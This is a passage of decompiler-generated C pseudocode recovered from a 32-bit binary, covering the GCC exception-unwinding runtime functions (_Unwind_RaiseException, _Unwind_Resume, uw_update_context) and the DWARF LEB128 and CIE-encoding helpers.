0x80a6d70 g95 = v6; int32_t v25 = *(int32_t *)v12 + v6; // 0x80a6d76 *(int32_t *)g102 = v25; v23 = v25; // branch -> 0x80a6d14 } else { v23 = v24; } } int32_t * v26 = (int32_t *)v23; // 0x80a6d76_42 int32_t v27 = g101 + 8; // 0x80a6d14 g101 = v27; g102 += 4; int32_t v28 = v18 - 1; // 0x80a6d1a if (v28 == 0) { v20 = v26; // break -> 0x80a6d3a break; } v12 = v27; v18 = v28; // continue -> 0x80a6d1f continue; } } int32_t v29 = g100; // 0x80a6d3a g98 = 100; g101 = 100; g102 = 100; int32_t v30; g100 = v30; g99 = v29 + 8; return (int32_t)v20; } } } else { // 0x80a6cc3 if (v15 == 2) { // 0x80a6ccd g95 = *(int32_t *)(v13 + 156); g97 = g100 - 20; a1 = (struct struct_103 *)0x80a6cdb; read_uleb128_718((int32_t)a2); g97 = g95 + v11; g96 = v10; v7 = execute_stack_op(&g2->e0, v4, 100); v14 = (int32_t)v9; v6 = v7; // branch -> 0x80a6cf9 // 0x80a6cf9 *(int32_t *)(g102 + 72) = v6; v12 = g101; v18 = 18; // branch -> 0x80a6d1f while (true) { // 0x80a6d1f v17 = *(int32_t *)(v12 + 4); g95 = v17; if (v17 == 2) { goto lab_0x6a7ed60; } goto lab_0x1ac6e420; } } } // 0x80a6cc8 abort(); // UNREACHABLE } // Address range: 0x80a6dd4 - 0x80a6de0 int32_t uw_init_context_1(int32_t * a1) { int32_t v1; function_80a6de5(&v1, 0); return g95; } // Address range: 0x80a6de5 - 0x80a6f1b int32_t function_80a6de5(int32_t * a1, int32_t a2) { int32_t v1 = g95; // 0x80a6dec int32_t result = g96; // 0x80a6df4 memset((int32_t *)v1, (int32_t)g2, 100); *(int32_t *)(v1 + 76) = (int32_t)a1; g97 = g100 - 208; g95 = v1; uw_frame_state_for(&a2, NULL); if (g95 == 0) { int32_t v2 = g98; // 0x80a6e24 int32_t v3 = *(int32_t *)(v2 - 84); // 0x80a6e24 g95 = v3; int32_t v4 = v2; // 0x80a6e4f int32_t v5; int32_t v6; // 0x80a6efe if (v3 != 0) { int32_t v7 = v2 + 0x7840; // 0x80a6e38 g95 = v7; int32_t v8 = g98; // 0x80a6f08 if (pthread_once((int32_t *)v7, (void (*)(int32_t *))(v2 - 0x8bc48)) == 0) { // 0x80a6f08 if (*(char *)(v8 + 0x7844) != 0) { // 0x80a6ebf if (*(char *)(v8 + 0x7848) != 4) { // 0x80a6f16 g99 -= 4; abort(); // UNREACHABLE } // 0x80a6ec8 *(int32_t *)(g102 + 16) = g100 - 16; g97 = g101; g95 = g102; uw_update_context_1(a2, 0, 0); *(int32_t *)(g102 + 76) = result; v6 = g100; g101 = 100; g102 = 100; g100 = v5; g99 = v6 + 8; return result; } v4 = v8; } else { v4 = v8; } } // 0x80a6e4f *(char *)(v4 + 0x7844) = 4; *(char *)(g98 + 0x7846) = 4; *(char *)(g98 + 0x7845) = 4; *(char *)(g98 + 0x7847) = 4; *(char *)(g98 + 0x784a) = 4; *(char *)(g98 + 0x784b) = 4; *(char *)(g98 + 0x7849) = 4; *(char *)(g98 + 0x7848) = 4; *(char *)(g98 + 0x784f) = 12; *(char *)(g98 + 0x7850) = 12; *(char *)(g98 + 0x7851) = 12; *(char *)(g98 + 0x7852) = 12; *(char *)(g98 + 0x7853) = 12; *(char *)(g98 + 0x7854) = 12; *(char *)(g98 + 0x784d) = 4; *(char *)(g98 + 0x784c) = 4; // branch -> 0x80a6ebf // 0x80a6ebf if (*(char *)(g98 + 0x7848) == 4) { // 0x80a6ec8 *(int32_t *)(g102 + 16) = g100 - 16; g97 = g101; g95 = g102; uw_update_context_1(a2, 0, 0); *(int32_t *)(g102 + 76) = result; v6 = g100; g101 = 100; g102 = 100; g100 = v5; g99 = v6 + 8; return result; } } // 0x80a6f16 g99 -= 4; abort(); // UNREACHABLE } // Address range: 0x80a6f1c - 0x80a6f25 void uw_update_context(int32_t * a1, int32_t * a2) { // 0x80a6f1c int32_t v1; function_80a6f2a(v1, 0, 0, g98, g101); } // Address range: 0x80a6f2a - 0x80a6f5f int32_t function_80a6f2a(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5) { // 0x80a6f2a uw_update_context_1(a1, a2, a3); int32_t v1 = *(int32_t *)(g101 + 180); // 0x80a6f3a g97 = v1; if (v1 > 17) { // 0x80a6f5f abort(); // UNREACHABLE } int32_t v2 = *(int32_t *)(g102 + 4 * v1); // 0x80a6f45 g95 = v2; if (*(char *)(v1 + 0x7844 + g98) != 4) { // 0x80a6f5f abort(); // UNREACHABLE } int32_t result = *(int32_t *)v2; // 0x80a6f52 *(int32_t *)(g102 + 76) = result; g98 = a4; g101 = a5; int32_t (*v3)(int32_t, int32_t); g102 = (int32_t)v3; int32_t v4 = g100; // 0x80a6f5d int32_t v5; g100 = v5; g99 = v4 + 4; return result; } // Address range: 0x80a6f64 - 0x80a6ffb int32_t _Unwind_Backtrace(int32_t a1, int32_t a2) { int32_t v1; g96 = v1; int32_t v2; uw_init_context_1(&v2); int32_t (*v3)(int32_t, int32_t) = (int32_t (*)(int32_t, int32_t))a1; // 0x80a6fda_4 // branch -> 0x80a6fae while (true) { // 0x80a6fae int32_t v4; g97 = v4; int32_t v5; g95 = v5; uw_frame_state_for(&v2, &v5); int32_t v6 = g95; // 0x80a6fbf uint32_t v7; // 0x80a6fce if (v6 == 0) { // 0x80a6fce v7 = g99; g1 = v7 < 8; g103 = v7 == 8; v3(v5, a2); if (g95 == 0) { goto lab_0x6ad5280; } // 0x80a6fee return 3; } // 0x80a6fc9 if (v6 != 5) { // 0x80a6fee return 3; } // 0x80a6fce v7 = g99; g1 = v7 < 8; g103 = v7 == 8; v3(v5, a2); int32_t result = 3; // 0x80a6fee1 if (g95 == 0) { lab_0x6ad5280: // 0x80a6f94 if (v6 != 5) { // 0x80a6f9d int32_t v8; g97 = v8; int32_t v9; g95 = v9; uw_update_context(&v2, &v9); // branch -> 0x80a6fae continue; } else { result = 5; } } // 0x80a6fee return result; } } // Address range: 0x80a6ffc - 0x80a70dc int32_t _Unwind_ForcedUnwind_Phase2(int32_t * a1, int32_t * a2) { int32_t v1 = g102; // 0x80a6fff int32_t v2 = g101; // 0x80a7000 int32_t v3 = g95; // 0x80a7007 struct struct_113 * v4 = (struct struct_113 *)v3; // 0x80a7007_0 struct struct_113 * v5 = v4; // bp-216 int32_t v6 = v4->e3; // 0x80a701e int32_t (*v7)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t) = (int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))*(int32_t *)(v3 + 12); // 0x80a7059_12 int32_t v8 = g97; // 0x80a70af // branch -> 0x80a70a9 while (true) { // 0x80a70a9 int32_t * v9; g97 = (int32_t)v9; g95 = v8; uw_frame_state_for(v9, &v4->e0); int32_t v10 = g95; // 0x80a70b6 g101 = v10; g1 = false; g103 = v10 == 0; int32_t v11 = 10; int32_t v12; // 0x80a703d int32_t v13; // 0x80a705f struct struct_113 * v14; // 0x80a7045_0 int32_t v15; // 0x80a704b if (v10 == 0) { // 0x80a703d g95 = v11; v12 = g97; v14 = v5; v15 = (int32_t)v14; g97 = v15; v7(1, v11, v14->e0, v14->e1, v15, g102, v6, v12); v13 = g99; if (g95 == 0) { goto lab_0x6ae9e90; } // 0x80a70cf // branch -> 0x80a70d4 // 0x80a70d4 g101 = v2; g102 = v1; return 2; } // 0x80a70c0 g1 = v10 < 5; g103 = v10 == 5; if (v10 != 5) { // 0x80a70cf // branch -> 0x80a70d4 // 0x80a70d4 g101 = v2; g102 = v1; return 2; } v11 = 26; // 0x80a703d g95 = v11; v12 = g97; v14 = v5; v15 = (int32_t)v14; g97 = v15; v7(1, v11, v14->e0, v14->e1, v15, g102, v6, v12); v13 = g99; if (g95 != 0) { // 0x80a70cf // branch -> 0x80a70d4 // 0x80a70d4 g101 = v2; g102 = v1; return 2; } lab_0x6ae9e90: // 0x80a7066 if (g101 != 5) { // 0x80a706b int32_t v16; g95 = v16; if (v16 != 0) { // 0x80a7072 g1 = v13 < 8; g103 = v13 == 8; int32_t v17 = (int32_t)v5; // 0x80a707c g97 = v17; ((int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))v16)(1, 10, v5->e0, v5->e1, v17, g102); int32_t v18 = g95; // 0x80a708d g101 = v18; if (v18 == 7) { // 0x80a70d4 g101 = v2; g102 = v1; return 7; } // 0x80a7097 if (v18 != 8) { // 0x80a70cf // branch -> 0x80a70d4 // 0x80a70d4 g101 = v2; g102 = v1; return 2; } } // 0x80a709c int32_t * v19; g97 = (int32_t)v19; g95 = g102; uw_update_context(v19, &v5->e0); v4 = v5; v8 = g102; // branch -> 0x80a70a9 continue; } // 0x80a70d4 g101 = v2; g102 = v1; return 5; } } // Address range: 0x80a70e0 - 0x80a70ee int32_t _Unwind_ForcedUnwind(int32_t a1) { // 0x80a70e0 int32_t v1; int32_t v2; int32_t v3; function_80a70f3(v3, 0, 0, v2, v1, 0); return g96; } // Address range: 0x80a70f3 - 0x80a718f int32_t function_80a70f3(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6) { int32_t v1 = a1; g96 = a1; int32_t v2 = g100; // 0x80a70fd int32_t v3 = v2 - 120; // 0x80a70fd g95 = v3; *(int32_t *)(v2 - 232) = v3; uw_init_context_1(&v1); int32_t v4 = g100; // 0x80a710e int32_t v5 = v4 - 220; // 0x80a710e *(int32_t *)(v4 - 236) = v5; int32_t * v6; memcpy((int32_t *)v5, v6, 100); int32_t v7 = a2; // 0x80a712c *(int32_t *)(v7 + 12) = a3; *(int32_t *)(v7 + 16) = a4; int32_t v8; g97 = v8; g95 = a2; int32_t result = _Unwind_ForcedUnwind_Phase2(&v1, &a2); // 0x80a7144 if (result != 7) { // 0x80a714e g98 = v5; g101 = (int32_t)v6; g102 = 100; int32_t v9 = g100; // 0x80a7157 int32_t v10; g100 = v10; g99 = v9 + 4; return result; } // 0x80a7159 g97 = v8; int32_t v11 = (int32_t)v6; // 0x80a715f g95 = v11; uw_install_context_1(&v1, &a2); int32_t v12 = g95; // 0x80a716a int32_t v13; g95 = v13; g97 = 0x80a7129; g98 = v5; g101 = v11; g102 = 100; int32_t v14 = v12 + 4 + g100; // 0x80a7185 g96 = v14; int32_t v15; g100 = v15; g99 = v14 + 4; int32_t result2; return result2; } // Address range: 0x80a7190 - 0x80a719c void _Unwind_RaiseException_Phase2(int32_t * a1, int32_t * a2) { // 0x80a7190 int32_t v1; function_80a71a1(v1); } // Address range: 0x80a71a1 - 0x80a7231 int32_t function_80a71a1(int32_t a1) { struct struct_113 * v1 = (struct struct_113 *)g95; // bp-208 g102 = g97; int32_t v2 = g100; // 0x80a71b0 *(int32_t *)(v2 - 212) = v2 - 204; // branch -> 0x80a71f9 while (true) { // 0x80a71f9 int32_t v3; g97 = v3; g95 = g102; uw_frame_state_for(&a1, NULL); int32_t v4 = (int32_t)v1; // 0x80a7206 g96 = v4; int32_t v5 = v1->e3; // 0x80a720c int32_t v6 = g102; // 0x80a720f int32_t v7 = *(int32_t *)(v6 + 76); // 0x80a720f g97 = (int32_t)(v7 == v5) | v5 & -256; int32_t v8 = v7 == v5 ? 4 : 0; // 0x80a7218 g101 = v8; int32_t v9; int32_t v10; // 0x80a7224 if (g95 == 0) { // 0x80a71c0 int32_t v11; g97 = v11; int32_t v12 = v8; // 0x80a71e8 if (v11 != 0) { int32_t v13 = v1->e0; // 0x80a71cf g1 = false; int32_t v14 = v8 | 2; // 0x80a71d3 g103 = false; g95 = v14; ((int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))v11)(1, v14, v13, v1->e1, v4, v6); int32_t v15 = g95; // 0x80a71de if (v15 == 7 || v15 != 8) { // 0x80a7224 v10 = g100; g98 = 0x80a7206; g101 = 0x80a7206; g102 = 0x80a7206; g100 = v9; g99 = v10 + 8; return 2; } // 0x80a71e3 v12 = g101; // branch -> 0x80a71e8 } // 0x80a71e8 if (v12 != 0) { // 0x80a722c g99 -= 4; abort(); // UNREACHABLE } // 0x80a71ec g97 = v3; g95 = g102; uw_update_context(&a1, NULL); // branch -> 0x80a71f9 continue; } // 0x80a7224 v10 = g100; g98 = 0x80a7206; g101 = 0x80a7206; g102 = 0x80a7206; g100 = v9; g99 = v10 + 8; return 2; } } // Address range: 0x80a7234 - 0x80a7242 int32_t _Unwind_Resume(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x80a7234 int32_t v1; function_80a7247(v1, 0, 0); return g96; } // Address range: 0x80a7247 - 0x80a72e5 int32_t function_80a7247(int32_t a1, int32_t a2, int32_t a3) { int32_t v1 = a1; g96 = a1; int32_t v2 = g100; // 0x80a7251 int32_t v3 = v2 - 120; // 0x80a7251 g95 = v3; *(int32_t *)(v2 - 236) = v3; uw_init_context_1(&v1); int32_t v4 = g100; // 0x80a7262 int32_t v5 = v4 - 220; // 0x80a7262 *(int32_t *)(v4 - 232) = v5; int32_t * v6; memcpy((int32_t *)v5, v6, 100); int32_t v7 = a2; // 0x80a7280 g95 = v7; int32_t v8 = *(int32_t *)(v7 + 12); // 0x80a7283 g101 = v8; int32_t v9; g97 = v9; if (v8 == 0) { // 0x80a728a _Unwind_RaiseException_Phase2(&v1, &a2); // branch -> 0x80a7295 } else { // 0x80a72a0 g95 = v7; _Unwind_ForcedUnwind_Phase2(&v1, &a2); // branch -> 0x80a7295 } // 0x80a7295 if (g95 != 7) { // 0x80a729a abort(); // UNREACHABLE } // 0x80a72b0 g97 = v9; int32_t v10 = (int32_t)v6; // 0x80a72b6 g95 = v10; uw_install_context_1(&v1, &a2); int32_t v11 = g95; // 0x80a72c1 int32_t v12; g95 = v12; g97 = 0x80a727d; g98 = v5; g101 = v10; g102 = 100; int32_t v13 = v11 + 4 + g100; // 0x80a72dc g96 = v13; int32_t v14; g100 = v14; g99 = v13 + 4; int32_t result; return result; } // Address range: 0x80a72e8 - 0x80a72f6 int32_t _Unwind_RaiseException(int32_t * a1, int32_t * a2, int32_t a3, int32_t * a4) { int32_t v1; int32_t v2; function_80a72fb(&v2, NULL, v1); return g96; } // Address range: 0x80a72fb - 0x80a7435 int32_t function_80a72fb(int32_t * a1, struct struct_115 * a2, int32_t a3) { struct struct_115 * v1 = NULL; // bp-432 struct struct_115 * v2 = NULL; // bp-428 g96 = (int32_t)a1; int32_t v3 = g100; // 0x80a7305 int32_t v4 = v3 - 120; // 0x80a7305 g95 = v4; *(int32_t *)(v3 - 432) = v4; uw_init_context_1(a1); int32_t v5 = g100; // 0x80a7316 int32_t v6 = v5 - 220; // 0x80a7316 *(int32_t *)(v5 - 428) = v6; struct struct_115 * v7 = v1; // bp-8 struct struct_115 * v8 = (struct struct_115 *)v6; // 0x80a732b_0 struct struct_115 * v9 = v8; // bp-12 memcpy(&v8->e0, &v1->e0, 100); int32_t v10 = g100; // 0x80a7334 *(int32_t *)(v10 - 424) = v10 - 412; int32_t v11; g97 = v11; g95 = (int32_t)v2; uw_frame_state_for(a1, &a2->e0); int32_t v12 = g95; // 0x80a739b16 int32_t v13; int32_t v14; // 0x80a73ae if (v12 == 5) { // 0x80a73a5 g98 = (int32_t)v9; g101 = (int32_t)v7; g102 = 100; v14 = g100; g100 = v13; g99 = v14 + 4; return (int32_t)(struct struct_115 *)5; } // branch -> 0x80a7344 while (true) { // 0x80a7344 int32_t v15; // 0x80a73be if (v12 == 0) { // 0x80a7348 int32_t v16; g95 = v16; if (v16 != 0) { uint32_t v17 = g99; // 0x80a7352 g1 = v17 < 8; g103 = v17 == 8; v7 = v2; v9 = a2; int32_t v18 = (int32_t)a2; // 0x80a735e g97 = v18; int32_t * v19 = a2->e1; // 0x80a7361 int32_t result = a2->e0; // 0x80a7364 ((int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))v16)(1, 1, result, (int32_t)v19, v18, (int32_t)v2); int32_t v20 = g95; // 0x80a736f if (v20 != 6) { // 0x80a7374 if (v20 == 8) { goto lab_0x6b3b320; } // 0x80a73b0 g98 = (int32_t)v9; g101 = (int32_t)v7; g102 = 100; v15 = g100; g100 = 0x80a739b; g99 = v15 + 4; return 3; } // 0x80a73c0 a2->e3 = 0; int32_t * v21; int32_t v22 = (int32_t)v21; // 0x80a73ca g95 = v22; a2->e4 = v21; v7 = v1; v9 = v2; memcpy(&v2->e0, &v1->e0, 100); g97 = (int32_t)v2; _Unwind_RaiseException_Phase2(a1, &a2->e0); if (a2 == (struct struct_115 *)7) { // 0x80a7400 g97 = (int32_t)v2; g95 = (int32_t)v1; uw_install_context_1(a1, &a2->e0); int32_t v23 = g95; // 0x80a7411 g95 = v22; g97 = 0x80a73ea; g98 = (int32_t)v9; g101 = (int32_t)v7; g102 = 100; int32_t v24 = v23 + 4 + g100; // 0x80a742c g96 = v24; g100 = 0x80a7411; g99 = v24 + 4; return result; } // 0x80a73a5 g98 = (int32_t)v9; g101 = (int32_t)v7; g102 = 100; v14 = g100; g100 = v13; g99 = v14 + 4; return (int32_t)a2; } lab_0x6b3b320: // 0x80a7379 g97 = v11; g95 = (int32_t)v2; uw_update_context(a1, &a2->e0); g97 = v11; g95 = (int32_t)v2; uw_frame_state_for(a1, &a2->e0); int32_t v25 = g95; // 0x80a739b if (v25 == 5) { // break -> 0x80a73a5 break; } v12 = v25; // continue -> 0x80a7344 continue; } // 0x80a73b0 g98 = (int32_t)v9; g101 = (int32_t)v7; g102 = 100; v15 = g100; g100 = 0x80a739b; g99 = v15 + 4; return 3; } // 0x80a73a5 g98 = (int32_t)v9; g101 = (int32_t)v7; g102 = 100; v14 = g100; g100 = v13; g99 = v14 + 4; return (int32_t)(struct struct_115 *)5; } // Address range: 0x80a7438 - 0x80a7446 int32_t _Unwind_Resume_or_Rethrow(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5) { int32_t v1; int32_t v2; function_80a744b(&v2, NULL, 0, v1); return g96; } // Address range: 0x80a744b - 0x80a74f3 int32_t function_80a744b(int32_t * a1, int32_t * a2, int32_t a3, int32_t a4) { int32_t v1 = (int32_t)a2; // 0x80a7452 if (*(int32_t *)(v1 + 12) == 0) { // 0x80a74a8 int32_t * v2; int32_t v3; int32_t * v4; _Unwind_RaiseException(a2, v4, v3, v2); g98 = v1; g101 = (int32_t)v4; g102 = v3; int32_t v5 = g100; // 0x80a74bc int32_t v6; g100 = v6; g99 = v5 + 4; return 0; } // 0x80a745c g96 = (int32_t)a1; int32_t v7 = g100; // 0x80a745f int32_t v8 = v7 - 120; // 0x80a745f g95 = v8; *(int32_t *)(v7 - 232) = v8; uw_init_context_1(a1); int32_t v9 = g100; // 0x80a7470 int32_t v10 = v9 - 220; // 0x80a7470 *(int32_t *)(v9 - 236) = v10; int32_t * v11 = (int32_t *)v10; // 0x80a7485_0 int32_t * v12; memcpy(v11, v12, 100); int32_t v13; g97 = v13; g95 = v1; if (_Unwind_ForcedUnwind_Phase2(a1, a2) != 7) { // 0x80a74a1 abort(); // UNREACHABLE } // 0x80a74be g97 = v13; int32_t v14 = (int32_t)v12; // 0x80a74c4 g95 = v14; uw_install_context_1(v11, v12); int32_t v15 = g95; // 0x80a74cf int32_t * v16; g95 = (int32_t)v16; g97 = 0x80a74cf; g98 = v10; g101 = v14; g102 = 100; int32_t v17 = v15 + 4 + g100; // 0x80a74ea g96 = v17; int32_t v18; g100 = v18; g99 = v17 + 4; int32_t result; return result; } // Address range: 0x80a74f4 - 0x80a74f9 void size_of_encoded_value(int32_t * a1) { // 0x80a74f4 int32_t v1; int32_t v2; int32_t v3; int32_t v4; int32_t v5; function_80a74fe(g96, g98, g100, v1, (int32_t)a1, v5, v2, v3, v4, 0); } // Address range: 0x80a74fe - 0x80a754b int32_t function_80a74fe(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10) { // 0x80a74fe int32_t * v1; int32_t v2 = (int32_t)v1; // 0x80a74fe g98 = v2 + 0x8a1fa; uint32_t v3 = g95; // 0x80a7505 if (0x1000000 * v3 == -0x1000000) { // 0x80a7546 g97 = a7; g98 = a8; int32_t v4 = g100; // 0x80a754a g100 = v2; g99 = v4 + 4; return 0; } uint32_t v5 = v3 % 8; // 0x80a7509 g95 = v5; if (v5 == 2) { // 0x80a7534 g97 = a3; g98 = a4; int32_t v6 = g100; // 0x80a753b g100 = v2; g99 = v6 + 4; return 2; } // 0x80a7511 int32_t v7; int32_t v8; // 0x80a752f if (v5 < 3) { // 0x80a7524 if (v5 != 0) { // 0x80a751d abort(); // UNREACHABLE } // 0x80a7528 g97 = a1; g98 = a2; v8 = g100; g100 = v7; g99 = v8 + 4; return 4; } // 0x80a7513 if (v5 == 3) { // 0x80a7528 g97 = a1; g98 = a2; v8 = g100; g100 = v7; g99 = v8 + 4; return 4; } // 0x80a7518 if (v5 != 4) { // 0x80a751d abort(); // UNREACHABLE } // 0x80a753d g97 = a5; g98 = a6; int32_t v9 = g100; // 0x80a7544 g100 = v2; g99 = v9 + 4; return 8; } // Address range: 0x80a754c - 0x80a7589 int32_t read_uleb128_721(int32_t a1) { int32_t v1 = g97; // 0x80a7557 int32_t v2 = 0; // 0x80a7572 int32_t result = 0; // 0x80a7574 int32_t v3 = v1; // 0x80a7563 int32_t v4 = g95; // branch -> 0x80a7560 int32_t v5; // 0x80a7565 int32_t v6; // 0x80a7572 while (true) { unsigned char v7 = *(char *)v4; // 0x80a7563 int32_t v8 = (int32_t)v7 | v3 & -256; // 0x80a7563 g97 = v8; v5 = v4 + 1; int32_t v9 = v7 % 128; // 0x80a756b uint32_t v10 = result % 32; // 0x80a7570 int32_t v11 = v9; // 0x80a7572 if (v10 != 0) { // if_80a7570_0_true v11 = v9 << v10; // branch -> after_if_80a7570_0 } // after_if_80a7570_0 v6 = v11 | v2; if (v8 >= 0) { // break -> 0x80a757b break; } v2 = v6; result += 7; v3 = v8; v4 = v5; // continue -> 0x80a7560 } // 0x80a757b *(int32_t *)v1 = v6; g95 = v5; return result; } // Address range: 0x80a758c - 0x80a75eb int32_t read_sleb128_722(int32_t a1) { int32_t result = 0; // 0x80a75bc int32_t v1 = g97; // 0x80a75a7 int32_t v2 = 0; // 0x80a75d94 int32_t v3 = g95; // branch -> 0x80a75a4 int32_t v4; // 0x80a75a9 int32_t result2; // 0x80a75bc unsigned char v5; // 0x80a75a7 int32_t v6; // 0x80a75b9 while (true) { // 0x80a75a4 v5 = *(char *)v3; int32_t v7 = (int32_t)v5 | v1 & -256; // 0x80a75a7 v4 = v3 + 1; int32_t v8 = v5 % 128; // 0x80a75b2 uint32_t v9 = result % 32; // 0x80a75b7 int32_t v10 = v8; // 0x80a75b9 if (v9 != 0) { // if_80a75b7_0_true v10 = v8 << v9; // branch -> after_if_80a75b7_0 } // after_if_80a75b7_0 v6 = v10 | v2; result2 = result + 7; if (v7 >= 0) { // break -> 0x80a75c3 break; } result = result2; v1 = v7; v2 = v6; v3 = v4; // continue -> 0x80a75a4 } int32_t * v11 = (int32_t *)g97; // 0x80a7597_0 int32_t v12; // 0x80a75d93 if (result2 > 31 || v5 == 64) { v12 = v6; // 0x80a75d9 g97 = v12; *v11 = v12; g95 = v4; return result; } uint32_t v13 = result2 % 32; // 0x80a75d4 int32_t v14; // 0x80a75d6 if (v13 != 0) { // if_80a75d4_0_true v14 = -1 << v13; // branch -> after_if_80a75d4_0 } else { v14 = -1; } // after_if_80a75d4_0 v12 = v14 | v6; // branch -> 0x80a75d9 // 0x80a75d9 g97 = v12; *v11 = v12; g95 = v4; return result2; } // Address range: 0x80a75ec - 0x80a75f5 int32_t read_encoded_value_with_base_723(int32_t a1, int32_t a2, int32_t a3) { int32_t v1; int32_t v2; int32_t v3; function_80a75fa(v3, &v2, v1, 0, 0, 0); return g95; } // Address range: 0x80a75fa - 0x80a76a6 int32_t function_80a75fa(int32_t a1, int32_t * a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6) { // 0x80a75fa int32_t * v1; int32_t v2 = (int32_t)v1; // 0x80a75fa int32_t v3 = v2 + 0x8a0fe; // 0x80a75fb g98 = v3; int32_t v4 = g96; // 0x80a7604 g101 = v4; uint32_t v5 = g95; // 0x80a7606 g102 = v5; if (0x1000000 * v5 != 0x50000000) { // 0x80a760c g95 = v5 % 256; uint32_t v6 = v5 % 16; // 0x80a7612 if (v6 < 13) { // 0x80a7620 g95 = *(int32_t *)(v2 + 0x613ca + 4 * v6) + v3; return unknown_81316f8(); } // 0x80a761a abort(); // UNREACHABLE } // 0x80a762c g97 = g5; g96 = v4 + 7 & -4; g95 = (int32_t)a2; *a2 = g5; int32_t v7; g98 = v7; int32_t v8; g101 = v8; int32_t * v9; g102 = (int32_t)v9; int32_t v10 = g100; // 0x80a7644 int32_t v11; g100 = v11; g99 = v10 + 4; return g96; } // Address range: 0x80a76a8 - 0x80a76ad void base_from_object(struct struct_45 * a1) { int32_t v1; int32_t v2; int32_t v3; function_80a76b2(g96, g98, g100, &v1, (int32_t)a1, v3, v2, 0); } // Address range: 0x80a76b2 - 0x80a76fc int32_t function_80a76b2(int32_t a1, int32_t a2, int32_t a3, int32_t * a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8) { // 0x80a76b2 int32_t * v1; int32_t v2 = (int32_t)v1; // 0x80a76b2 g98 = v2 + 0x8a046; int32_t v3 = g95; // 0x80a76b9 int32_t v4; int32_t v5; // 0x80a76e0 if (0x1000000 * v3 == -0x1000000) { // 0x80a76dc g97 = a1; g98 = a2; v5 = g100; g100 = v4; g99 = v5 + 4; return 0; } int32_t v6 = v3 & 112; // 0x80a76bd g95 = v6; if (v6 == 32) { int32_t result = *(int32_t *)(g97 + 4); // 0x80a76e4 g97 = a3; g98 = (int32_t)a4; int32_t v7 = g100; // 0x80a76e9 g100 = v2; g99 = v7 + 4; return result; } // 0x80a76c5 if (v6 < 33) { // 0x80a76d8 if (v6 == 0) { // 0x80a76dc g97 = a1; g98 = a2; v5 = g100; g100 = v4; g99 = v5 + 4; return 0; } // 0x80a76ec if (v6 != 16) { // 0x80a76f1 abort(); // UNREACHABLE } // 0x80a76dc g97 = a1; g98 = a2; v5 = g100; g100 = v4; g99 = v5 + 4; return 0; } // 0x80a76c7 if (v6 == 48) { int32_t result2 = *(int32_t *)(g97 + 8); // 0x80a76f6 g97 = a5; g98 = a6; int32_t v8 = g100; // 0x80a76fb g100 = v2; g99 = v8 + 4; return result2; } // 0x80a76cc if (v6 != 80) { // 0x80a76d1 abort(); // UNREACHABLE } // 0x80a76dc g97 = a1; g98 = a2; v5 = g100; g100 = v4; g99 = v5 + 4; return 0; } // Address range: 0x80a7700 - 0x80a77b3 int32_t get_cie_encoding(struct struct_45 * a1) { struct struct_103 * v1 = (struct struct_103 *)g100; // 0x80a7700_0 int32_t * v2 = (int32_t *)g102; // 0x80a7703_0 int32_t v3 = g101; // 0x80a7704 int32_t v4 = g95; // 0x80a7708 g101 = v4; int32_t v5 = v4 + 9; // 0x80a770a g95 = v5; int32_t v6 = v5; // bp-32 if (*(char *)v5 != 122) { // 0x80a7716 g101 = v3; g102 = (int32_t)v2; g100 = (int32_t)v1; return 0; } int32_t len = strlen((char *)&v6); // 0x80a772b int32_t v7 = v6; // 0x80a772f g97 = v7; g95 = len + 1 + v7; read_uleb128_721((int32_t)v1); read_sleb128_722((int32_t)v1); if (*(char *)(g101 + 8) == 1) { // 0x80a77b0 g95++; // branch -> 0x80a7754 } else { // 0x80a774d read_uleb128_721((int32_t)v1); // branch -> 0x80a7754 } // 0x80a7754 g101 = v6 + 1; read_uleb128_721((int32_t)v1); g96 = v6; int32_t v8 = g97 & -256 | (int32_t)*(char *)(v6 + 1); // 0x80a7762 g97 = v8; if (v8 == 82) { // 0x80a77a4 g101 = v3; g102 = 0x80a775f; g100 = (int32_t)v1; return (int32_t)*(char *)g95; } // 0x80a777b int32_t * v9; int32_t v10 = (int32_t)v9; // 0x80a7792 // branch -> 0x80a777b while (true) { int32_t v11 = 0x1000000 * v8; // 0x80a777b if (v11 == 0x50000000) { int32_t v12 = g95; // 0x80a7783 g96 = v12 + 1; g95 = (int32_t)(*(char *)v12 % 128); read_encoded_value_with_base_723(v10, v10, v3); int32_t v13 = g101 + 1; // 0x80a779a int32_t v14 = g97 & -256 | (int32_t)*(char *)v13; // 0x80a779a g97 = v14; g101 = v13; if (v14 == 82) { // break -> 0x80a77a4 break; } v8 = v14; // continue -> 0x80a777b continue; } else { // 0x80a776c if (v11 != 0x4c000000) { // 0x80a7716 // branch -> 0x80a7716 // 0x80a7716 g101 = v3; g102 = (int32_t)(int32_t *)0x80a775f; g100 = (int32_t)v1; return 0; } // 0x80a7771 g95++; int32_t v15 = g101 + 1; // 0x80a7772 int32_t v16 = (int32_t)*(char *)v15 | v8 & -256; // 0x80a7772 g97 = v16; g101 = v15; if (v16 == 82) { // break -> 0x80a77a4 break; } v8 = v16; // continue -> 0x80a777b continue; } } // 0x80a77a4 g101 = v3; g102 = 0x80a775f; g100 = (int32_t)v1; return (int32_t)*(char *)g95; } // Address range: 0x80a7850 - 0x80a7917 int32_t frame_downheap(int32_t result3, int32_t a2, int32_t a3, int32_t a4, int32_t a5) { int32_t v1 = g102; // 0x80a7853 int32_t v2 = g101; // 0x80a7854 int32_t v3 = g95; // 0x80a7858 int32_t * v4 = (int32_t *)g96; // bp-32 int32_t v5 = 2 * result3 | 1; // 0x80a78647 g102 = v5; if (v5 < a2) { int32_t (*v6)(int32_t, int32_t, int32_t, int32_t, int32_t) = (int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t))g97; // 0x80a78dc_8 int32_t result2 = result3; // 0x80a7916_12 